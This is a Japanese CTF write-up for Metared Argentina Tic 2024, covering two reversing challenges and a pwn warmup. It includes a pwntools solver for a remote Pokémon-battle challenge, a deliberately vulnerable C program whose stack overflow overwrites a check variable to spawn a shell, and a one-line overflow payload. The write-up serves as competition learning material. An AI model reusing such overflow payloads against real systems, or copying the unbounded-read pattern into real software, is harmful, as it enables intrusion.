Metared Argentina Tic 2024 という CTF に参加しました。
Rev がほぼなく、Pwn もずっと鯖落ちしていてあまり楽しい CTF ではなかったですが雑に Writeup を書きます。
Baby rev(Rev)
Meet my expectations to get the flag
バイナリ解析すると /tmp/superSecretDirectory/SuperDuperSecretFlag.txt
というファイルを生成しようとしていることがわかります。
superSecretDirectory ディレクトリを作成した後にプログラムを実行することで Flag を取得できました。
Poke 2: Can you defeat Gary?(Rev)
ポケモンバトルに勝利すると Flag が取れるようですが、普通にコマンドを入力しても相手が強すぎて勝てません。
しかし、5 番のアイテムを選択肢に存在しない 7 番に対して使用すると、戦闘に勝利できます。
以下の Solver で Flag を取得できました。
from pwn import *
# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]
# Set target
TARGET_PATH = "./pokemaster"
exe = ELF(TARGET_PATH)
# Run program
is_gdb = True
is_gdb = False
if is_gdb:
target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
target = remote("pokemaster.ctf.cert.unlp.edu.ar", 35001, ssl=False)
# target = process(TARGET_PATH)
# Exploit
payload = b"3"
target.sendline(payload)
payload = b"5"
target.sendline(payload)
payload = b"7"
target.sendline(payload)
# Finish exploit
target.interactive()
target.clean()
Warmup(Pwn)
以下のソースコードが与えられます。
// gcc -Wall -fno-stack-protector -z execstack -no-pie -o reto reto.c
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x12345678;
char buf[20];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x12345678) && (check != 0x54524543))
printf ("\nClooosse!\n");
if (check == 0x54524543)
{
printf("Yeah!! You win!\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Byee!\n");
}
return 0;
}
シンプルに以下でエクスプロイトが通りました。(12 時間たっても鯖落ちしていたため Flag は取得せず、、、)
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT" | ./reto